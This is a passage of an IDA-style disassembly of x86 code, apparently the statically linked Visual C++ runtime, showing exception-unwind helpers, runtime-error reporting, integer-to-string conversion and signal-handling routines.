0FFFFFFF5h mov [ebp+var_6C], edx loc_425D44: ; CODE XREF: sub_425AC0+272j mov eax, [ebp+var_6C] push eax call ds:dword_49443C mov [ebp+var_4C], eax cmp [ebp+var_4C], 0FFFFFFFFh jz short loc_425DAF mov ecx, [ebp+var_4C] push ecx call ds:dword_4942CC mov [ebp+var_54], eax cmp [ebp+var_54], 0 jz short loc_425DAF mov edx, [ebp+var_50] mov eax, [ebp+var_4C] mov [edx], eax mov ecx, [ebp+var_54] and ecx, 0FFh cmp ecx, 2 jnz short loc_425D90 mov edx, [ebp+var_50] mov al, [edx+4] or al, 40h mov ecx, [ebp+var_50] mov [ecx+4], al jmp short loc_425DAD ; --------------------------------------------------------------------------- loc_425D90: ; CODE XREF: sub_425AC0+2BEj mov edx, [ebp+var_54] and edx, 0FFh cmp edx, 3 jnz short loc_425DAD mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 8 mov edx, [ebp+var_50] mov [edx+4], cl loc_425DAD: ; CODE XREF: sub_425AC0+2CEj ; sub_425AC0+2DCj jmp short loc_425DBE ; --------------------------------------------------------------------------- loc_425DAF: ; CODE XREF: sub_425AC0+295j ; sub_425AC0+2A8j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 40h mov edx, [ebp+var_50] mov [edx+4], cl loc_425DBE: ; CODE XREF: sub_425AC0:loc_425DADj jmp short loc_425DCF ; --------------------------------------------------------------------------- loc_425DC0: ; CODE XREF: sub_425AC0+258j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 80h mov edx, [ebp+var_50] mov [edx+4], cl loc_425DCF: ; CODE XREF: sub_425AC0:loc_425DBEj jmp loc_425CEE ; --------------------------------------------------------------------------- loc_425DD4: ; CODE XREF: sub_425AC0+23Bj mov eax, dword_492520 push eax call ds:dword_4942D0 mov esp, ebp pop ebp retn sub_425AC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov dword ptr [ebp-8], 0 jmp short loc_425E08 ; --------------------------------------------------------------------------- loc_425DFF: ; CODE XREF: .text:loc_425E82j mov eax, [ebp-8] add eax, 1 mov [ebp-8], eax loc_425E08: ; CODE XREF: .text:00425DFDj cmp dword ptr [ebp-8], 40h jge short loc_425E87 mov ecx, [ebp-8] cmp dword_492420[ecx*4], 0 jz short loc_425E82 mov edx, [ebp-8] mov eax, dword_492420[edx*4] mov [ebp-4], eax jmp short loc_425E33 ; --------------------------------------------------------------------------- loc_425E2A: ; CODE XREF: .text:loc_425E5Dj mov ecx, [ebp-4] add ecx, 24h mov [ebp-4], ecx loc_425E33: ; CODE XREF: .text:00425E28j mov edx, [ebp-8] mov eax, dword_492420[edx*4] add eax, 480h cmp [ebp-4], eax jnb short loc_425E5F mov ecx, [ebp-4] cmp dword ptr [ecx+8], 0 jz short loc_425E5D mov edx, [ebp-4] add edx, 0Ch push edx call ds:dword_494310 loc_425E5D: ; CODE XREF: .text:00425E4Ej jmp short loc_425E2A ; --------------------------------------------------------------------------- loc_425E5F: ; CODE XREF: .text:00425E45j push 2 mov eax, [ebp-8] mov ecx, dword_492420[eax*4] push ecx call sub_4174C0 add esp, 8 mov edx, [ebp-8] mov dword_492420[edx*4], 0 loc_425E82: ; CODE XREF: .text:00425E19j jmp loc_425DFF ; --------------------------------------------------------------------------- loc_425E87: ; CODE XREF: .text:00425E0Cj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E8C proc near ; CODE XREF: sub_425F84+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_425EA4 push [ebp+arg_0] call sub_430F9E loc_425EA4: ; DATA XREF: sub_425E8C+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_425E8C endp ; =============== S U B R O U T I N E ======================================= sub_425EAC proc near ; DATA XREF: sub_425ECE+Ao ; .text:00425F3Fo arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_425ECD mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_425ECD: ; CODE XREF: sub_425EAC+10j retn sub_425EAC endp ; =============== S U B R O U T I N E ======================================= sub_425ECE proc near ; CODE XREF: sub_425F84+67p ; sub_425F84+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_425EAC push large dword ptr fs:0 mov large fs:0, esp loc_425EEB: ; CODE XREF: sub_425ECE:loc_425F26j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_425F28 cmp esi, [esp+1Ch+arg_4] jz short loc_425F28 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_425F26 push 101h mov eax, [ebx+esi*4+8] call sub_425F62 call dword ptr [ebx+esi*4+8] loc_425F26: ; CODE XREF: sub_425ECE+44j jmp short loc_425EEB ; --------------------------------------------------------------------------- loc_425F28: ; CODE XREF: sub_425ECE+2Aj ; sub_425ECE+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_425ECE endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_425EAC jnz short locret_425F58 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_425F58 mov eax, 1 locret_425F58: ; CODE XREF: .text:00425F46j ; .text:00425F51j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_44367C jmp short loc_425F6C ; =============== S U B R O U T I N E ======================================= sub_425F62 proc near ; CODE XREF: sub_425ECE+4Fp ; sub_425F84+78p push ebx push ecx mov ebx, offset dword_44367C mov ecx, [ebp+8] loc_425F6C: ; CODE XREF: .text:00425F60j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_425F62 endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F84 proc near ; DATA XREF: sub_41B970+Ao ; sub_422F40+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_426024 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_425FB7: ; CODE XREF: sub_425F84+90j cmp esi, 0FFFFFFFFh jz short loc_42601D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42600B push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42600B js short loc_426016 mov edi, [ebx+8] push ebx call sub_425E8C add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_425ECE add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_425F62 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42600B: ; CODE XREF: sub_425F84+40j ; sub_425F84+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_425FB7 ; --------------------------------------------------------------------------- loc_426016: ; CODE XREF: sub_425F84+54j mov eax, 0 jmp short loc_426039 ; --------------------------------------------------------------------------- loc_42601D: ; CODE XREF: sub_425F84+36j mov eax, 1 jmp short loc_426039 ; --------------------------------------------------------------------------- loc_426024: ; CODE XREF: sub_425F84+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_425ECE add esp, 8 pop ebp mov eax, 1 loc_426039: ; CODE XREF: sub_425F84+97j ; sub_425F84+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_425F84 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_425ECE add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426060 proc near ; CODE XREF: sub_41BAE0+Cp ; sub_41BB10+Cp push ebp mov ebp, esp cmp dword_4920E0, 1 jz short loc_42607E cmp dword_4920E0, 0 jnz short loc_4260A7 cmp dword_442C54, 1 jnz short loc_4260A7 loc_42607E: ; CODE XREF: sub_426060+Aj push 0FCh call sub_4260B0 add esp, 4 cmp dword_49229C, 0 jz short loc_42609A call dword_49229C loc_42609A: ; CODE XREF: sub_426060+32j push 0FFh call sub_4260B0 add esp, 4 loc_4260A7: ; CODE XREF: sub_426060+13j ; sub_426060+1Cj pop ebp retn sub_426060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4260B0 proc near ; CODE XREF: sub_41BAE0+15p ; sub_41BB10+15p ... var_1B0 = byte ptr -1B0h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi mov [ebp+var_8], 0 jmp short loc_4260CE ; --------------------------------------------------------------------------- loc_4260C5: ; CODE XREF: sub_4260B0:loc_4260E5j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4260CE: ; CODE XREF: sub_4260B0+13j cmp [ebp+var_8], 12h jnb short loc_4260E7 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] cmp edx, dword_443690[ecx*8] jnz short loc_4260E5 jmp short loc_4260E7 ; --------------------------------------------------------------------------- loc_4260E5: ; CODE XREF: sub_4260B0+31j jmp short loc_4260C5 ; --------------------------------------------------------------------------- loc_4260E7: ; CODE XREF: sub_4260B0+22j ; sub_4260B0+33j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, dword_443690[eax*8] jnz loc_426268 cmp [ebp+arg_0], 0FCh jz short loc_426124 mov edx, [ebp+var_8] mov eax, off_443694[edx*8] push eax push 0 push 0 push 0 push 1 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_426124 int 3 ; Trap to Debugger loc_426124: ; CODE XREF: sub_4260B0+51j ; sub_4260B0+71j cmp dword_4920E0, 1 jz short loc_42613F cmp dword_4920E0, 0 jnz short loc_426178 cmp dword_442C54, 1 jnz short loc_426178 loc_42613F: ; CODE XREF: sub_4260B0+7Bj push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, off_443694[edx*8] push eax call sub_418E70 add esp, 4 push eax mov ecx, [ebp+var_8] mov edx, off_443694[ecx*8] push edx push 0FFFFFFF4h call ds:dword_49443C push eax call ds:dword_4942E4 jmp loc_426268 ; --------------------------------------------------------------------------- loc_426178: ; CODE XREF: sub_4260B0+84j ; sub_4260B0+8Dj cmp [ebp+arg_0], 0FCh jz loc_426268 push 104h lea eax, [ebp+var_110] push eax push 0 call ds:dword_4942F8 test eax, eax jnz short loc_4261B1 push offset aProgramNameUnk ; "<program name unknown>" lea ecx, [ebp+var_110] push ecx call sub_419FA0 add esp, 8 loc_4261B1: ; CODE XREF: sub_4260B0+EBj lea edx, [ebp+var_110] mov [ebp+var_C], edx mov eax, [ebp+var_C] push eax call sub_418E70 add esp, 4 add eax, 1 cmp eax, 3Ch jbe short loc_4261FA lea ecx, [ebp+var_110] push ecx call sub_418E70 add esp, 4 mov edx, [ebp+var_C] lea eax, [edx+eax-3Bh] mov [ebp+var_C], eax push 3 push offset a___ ; "..." mov ecx, [ebp+var_C] push ecx call sub_4191A0 add esp, 0Ch loc_4261FA: ; CODE XREF: sub_4260B0+11Cj push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " lea edx, [ebp+var_1B0] push edx call sub_419FA0 add esp, 8 mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_1B0] push ecx call sub_419FB0 add esp, 8 push offset asc_432DD0 ; "\n\n" lea edx, [ebp+var_1B0] push edx call sub_419FB0 add esp, 8 mov eax, [ebp+var_8] mov ecx, off_443694[eax*8] push ecx lea edx, [ebp+var_1B0] push edx call sub_419FB0 add esp, 8 push 12010h push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library" lea eax, [ebp+var_1B0] push eax call sub_426B40 add esp, 0Ch loc_426268: ; CODE XREF: sub_4260B0+44j ; sub_4260B0+C3j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4260B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 0 jmp short loc_426286 ; --------------------------------------------------------------------------- loc_42627D: ; CODE XREF: .text:loc_42629Dj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_426286: ; CODE XREF: .text:0042627Bj cmp dword ptr [ebp-4], 12h jnb short loc_42629F mov ecx, [ebp-4] mov edx, [ebp+8] cmp edx, dword_443690[ecx*8] jnz short loc_42629D jmp short loc_42629F ; --------------------------------------------------------------------------- loc_42629D: ; CODE XREF: .text:00426299j jmp short loc_42627D ; --------------------------------------------------------------------------- loc_42629F: ; CODE XREF: .text:0042628Aj ; .text:0042629Bj mov eax, [ebp-4] mov ecx, [ebp+8] cmp ecx, dword_443690[eax*8] jnz short loc_4262BA mov edx, [ebp-4] mov eax, off_443694[edx*8] jmp short loc_4262BC ; --------------------------------------------------------------------------- loc_4262BA: ; CODE XREF: .text:004262ACj xor eax, eax loc_4262BC: ; CODE XREF: .text:004262B8j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4262C0 proc near ; CODE XREF: sub_41BF80+31Dp ; sub_42ACC0+1EFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_4262E7 cmp [ebp+arg_0], 0 jge short loc_4262E7 push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_426310 add esp, 10h jmp short loc_4262FD ; --------------------------------------------------------------------------- loc_4262E7: ; CODE XREF: sub_4262C0+7j ; sub_4262C0+Dj push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_426310 add esp, 10h loc_4262FD: ; CODE XREF: sub_4262C0+25j mov eax, [ebp+arg_4] pop ebp retn sub_4262C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426310 proc near ; CODE XREF: sub_4262C0+1Dp ; sub_4262C0+35p ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_C], 0 jz short loc_426339 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov [ebp+arg_0], eax loc_426339: ; CODE XREF: sub_426310+10j mov ecx, [ebp+var_4] mov [ebp+var_8], ecx loc_42633F: ; CODE XREF: sub_426310+79j mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+var_C], edx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+arg_0], eax cmp [ebp+var_C], 9 jbe short loc_426371 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_426385 ; --------------------------------------------------------------------------- loc_426371: ; CODE XREF: sub_426310+49j mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_426385: ; CODE XREF: sub_426310+5Fj cmp [ebp+arg_0], 0 ja short loc_42633F mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42639A: ; CODE XREF: sub_426310+BCj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_42639A mov esp, ebp pop ebp retn sub_426310 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+10h], 0Ah jnz short loc_4263F9 cmp dword ptr [ebp+8], 0 jge short loc_4263F9 mov dword ptr [ebp-4], 1 jmp short loc_426400 ; --------------------------------------------------------------------------- loc_4263F9: ; CODE XREF: .text:004263E8j ; .text:004263EEj mov dword ptr [ebp-4], 0 loc_426400: ; CODE XREF: .text:004263F7j mov eax, [ebp-4] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_426310 add esp, 10h mov eax, [ebp+0Ch] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_426310 add esp, 10h mov eax, [ebp+0Ch] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+14h], 0Ah jnz short loc_426461 cmp dword ptr [ebp+0Ch], 0 jg short loc_426461 jl short loc_426458 cmp dword ptr [ebp+8], 0 jnb short loc_426461 loc_426458: ; CODE XREF: .text:00426450j mov dword ptr [ebp-4], 1 jmp short loc_426468 ; --------------------------------------------------------------------------- loc_426461: ; CODE XREF: .text:00426448j ; .text:0042644Ej ... mov dword ptr [ebp-4], 0 loc_426468: ; CODE XREF: .text:0042645Fj mov eax, [ebp-4] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_426490 mov eax, [ebp+10h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426490 proc near ; CODE XREF: .text:0042647Cp ; .text:004265A5p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov [ebp+var_4], eax cmp [ebp+arg_10], 0 jz short loc_4264C4 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov ecx, [ebp+arg_4] adc ecx, 0 neg ecx mov [ebp+arg_0], eax mov [ebp+arg_4], ecx loc_4264C4: ; CODE XREF: sub_426490+10j mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_4264CA: ; CODE XREF: sub_426490+9Fj ; sub_426490+A7j mov eax, [ebp+arg_C] xor ecx, ecx push ecx push eax mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41A4B0 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] xor edx, edx push edx push ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41A440 mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+var_C], 9 jbe short loc_426517 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42652B ; --------------------------------------------------------------------------- loc_426517: ; CODE XREF: sub_426490+6Fj mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42652B: ; CODE XREF: sub_426490+85j cmp [ebp+arg_4], 0 ja short loc_4264CA jb short loc_426539 cmp [ebp+arg_0], 0 ja short loc_4264CA loc_426539: ; CODE XREF: sub_426490+A1j mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_426548: ; CODE XREF: sub_426490+EAj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_426548 mov esp, ebp pop ebp retn 14h sub_426490 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_426490 mov eax, [ebp+10h] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push esi cmp dword ptr [ebp+0Ch], 4 jz short loc_4265C3 cmp dword ptr [ebp+0Ch], 3 jnz short loc_4265C8 loc_4265C3: ; CODE XREF: .text:004265BBj jmp loc_426798 ; --------------------------------------------------------------------------- loc_4265C8: ; CODE XREF: .text:004265C1j cmp dword ptr [ebp+8], 2 jz short loc_4265E4 cmp dword ptr [ebp+8], 15h jz short loc_4265E4 cmp dword ptr [ebp+8], 16h jz short loc_4265E4 cmp dword ptr [ebp+8], 0Fh jnz loc_4266C1 loc_4265E4: ; CODE XREF: .text:004265CCj ; .text:004265D2j ... push 1 call sub_41BC90 add esp, 4 cmp dword ptr [ebp+8], 2 jz short loc_4265FA cmp dword ptr [ebp+8], 15h jnz short loc_42663F loc_4265FA: ; CODE XREF: .text:004265F2j cmp dword_4922B0, 0 jnz short loc_42663F push 1 push offset sub_4267E0 call ds:dword_4943EC cmp eax, 1 jnz short loc_426621 mov dword_4922B0, 1 jmp short loc_42663F ; --------------------------------------------------------------------------- loc_426621: ; CODE XREF: .text:00426613j call ds:dword_4942F0 mov esi, eax call sub_422F30 mov [eax], esi push 1 call sub_41BD30 add esp, 4 jmp loc_426798 ; --------------------------------------------------------------------------- loc_42663F: ; CODE XREF: .text:004265F8j ; .text:00426601j ... mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp-10h] sub ecx, 2 mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 14h ja short loc_4266B2 mov eax, [ebp-10h] xor edx, edx mov dl, ds:byte_4267BF[eax] jmp ds:off_4267AB[edx*4] loc_426666: ; DATA XREF: .text:off_4267ABo mov ecx, dword_4922A0 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4922A0, edx jmp short loc_4266B2 ; --------------------------------------------------------------------------- loc_42667A: ; CODE XREF: .text:0042665Fj ; DATA XREF: .text:004267B3o mov eax, dword_4922A4 mov [ebp-0Ch], eax mov ecx, [ebp+0Ch] mov dword_4922A4, ecx jmp short loc_4266B2 ; --------------------------------------------------------------------------- loc_42668D: ; CODE XREF: .text:0042665Fj ; DATA XREF: .text:004267B7o mov edx, dword_4922A8 mov [ebp-0Ch], edx mov eax, [ebp+0Ch] mov dword_4922A8, eax jmp short loc_4266B2 ; --------------------------------------------------------------------------- loc_4266A0: ; CODE XREF: .text:0042665Fj ; DATA XREF: .text:004267AFo mov ecx, dword_4922AC mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4922AC, edx loc_4266B2: ; CODE XREF: .text:00426652j ; .text:0042665Fj ... push 1 call sub_41BD30 add esp, 4 jmp loc_426793 ; --------------------------------------------------------------------------- loc_4266C1: ; CODE XREF: .text:004265DEj cmp dword ptr [ebp+8], 8 jz short loc_4266D8 cmp dword ptr [ebp+8], 4 jz short loc_4266D8 cmp dword ptr [ebp+8], 0Bh jz short loc_4266D8 jmp loc_426798 ; --------------------------------------------------------------------------- loc_4266D8: ; CODE XREF: .text:004266C5j ; .text:004266CBj ... call sub_41FA10 mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], offset dword_4435D0 jnz short loc_426735 push 133h push offset aWinsig_c ; "winsig.c" push 2 mov ecx, dword_443650 push ecx call sub_416A30 add esp, 10h mov edx, [ebp-4] mov [edx+50h], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], 0 jz short loc_426733 mov ecx, dword_443650 push ecx push offset dword_4435D0 mov edx, [ebp-4] mov eax, [edx+50h] push eax call sub_418A00 add esp, 0Ch jmp short loc_426735 ; --------------------------------------------------------------------------- loc_426733: ; CODE XREF: .text:00426714j jmp short loc_426798 ; --------------------------------------------------------------------------- loc_426735: ; CODE XREF: .text:004266EAj ; .text:00426731j mov ecx, [ebp-4] mov edx, [ecx+50h] push edx mov eax, [ebp+8] push eax call sub_426AC0 add esp, 8 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_426753 jmp short loc_426798 ; --------------------------------------------------------------------------- loc_426753: ; CODE XREF: .text:0042674Fj mov ecx, [ebp-8] mov edx, [ecx+8] mov [ebp-0Ch], edx loc_42675C: ; CODE XREF: .text:loc_426791j mov eax, [ebp-8] mov ecx, [eax+4] cmp ecx, [ebp+8] jnz short loc_426793 mov edx, [ebp-8] mov eax, [ebp+0Ch] mov [edx+8], eax mov ecx, [ebp-8] add ecx, 0Ch mov [ebp-8], ecx mov edx, dword_443654 imul edx, 0Ch mov eax, [ebp-4] mov ecx, [eax+50h] add ecx, edx cmp [ebp-8], ecx jb short loc_426791 jmp short loc_426793 ; --------------------------------------------------------------------------- loc_426791: ; CODE XREF: .text:0042678Dj jmp short loc_42675C ; --------------------------------------------------------------------------- loc_426793: ; CODE XREF: .text:004266BCj ; .text:00426765j ... mov eax, [ebp-0Ch] jmp short loc_4267A6 ; --------------------------------------------------------------------------- loc_426798: ; CODE XREF: .text:loc_4265C3j ; .text:0042663Aj ... call sub_422F20 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_4267A6: ; CODE XREF: .text:00426796j pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- off_4267AB dd offset loc_426666 ; DATA XREF: .text:0042665Fr dd offset loc_4266A0 dd offset loc_42667A dd offset loc_42668D dd offset loc_4266B2 byte_4267BF db 0 ; DATA XREF: .text:00426659r dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4267E0 proc near ; DATA XREF: .text:00426605o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push 1 call sub_41BC90 add esp, 4 cmp [ebp+arg_0], 0 jnz short loc_42680E mov [ebp+var_8], offset dword_4922A0 mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_C], ecx mov [ebp+var_4], 2 jmp short loc_426824 ; --------------------------------------------------------------------------- loc_42680E: ; CODE XREF: sub_4267E0+14j mov [ebp+var_8], offset dword_4922A4 mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_C], eax mov [ebp+var_4], 15h loc_426824: ; CODE XREF: sub_4267E0+2Cj cmp [ebp+var_C], 0 jnz short loc_426838 push 1 call sub_41BD30 add esp, 4 xor eax, eax jmp short loc_42686C ; --------------------------------------------------------------------------- loc_426838: ; CODE XREF: sub_4267E0+48j cmp [ebp+var_C], 1 jz short loc_42685D mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 push 1 call sub_41BD30 add esp, 4 mov edx, [ebp+var_4] push edx call [ebp+var_C] add esp, 4 jmp short loc_426867 ; --------------------------------------------------------------------------- loc_42685D: ; CODE XREF: sub_4267E0+5Cj push 1 call sub_41BD30 add esp, 4 loc_426867: ; CODE XREF: sub_4267E0+7Bj mov eax, 1 loc_42686C: ; CODE XREF: sub_4267E0+56j mov esp, ebp pop ebp retn 4 sub_4267E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426880 proc near ; CODE XREF: sub_41C310+2E7p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_20], eax mov ecx, [ebp+var_20] sub 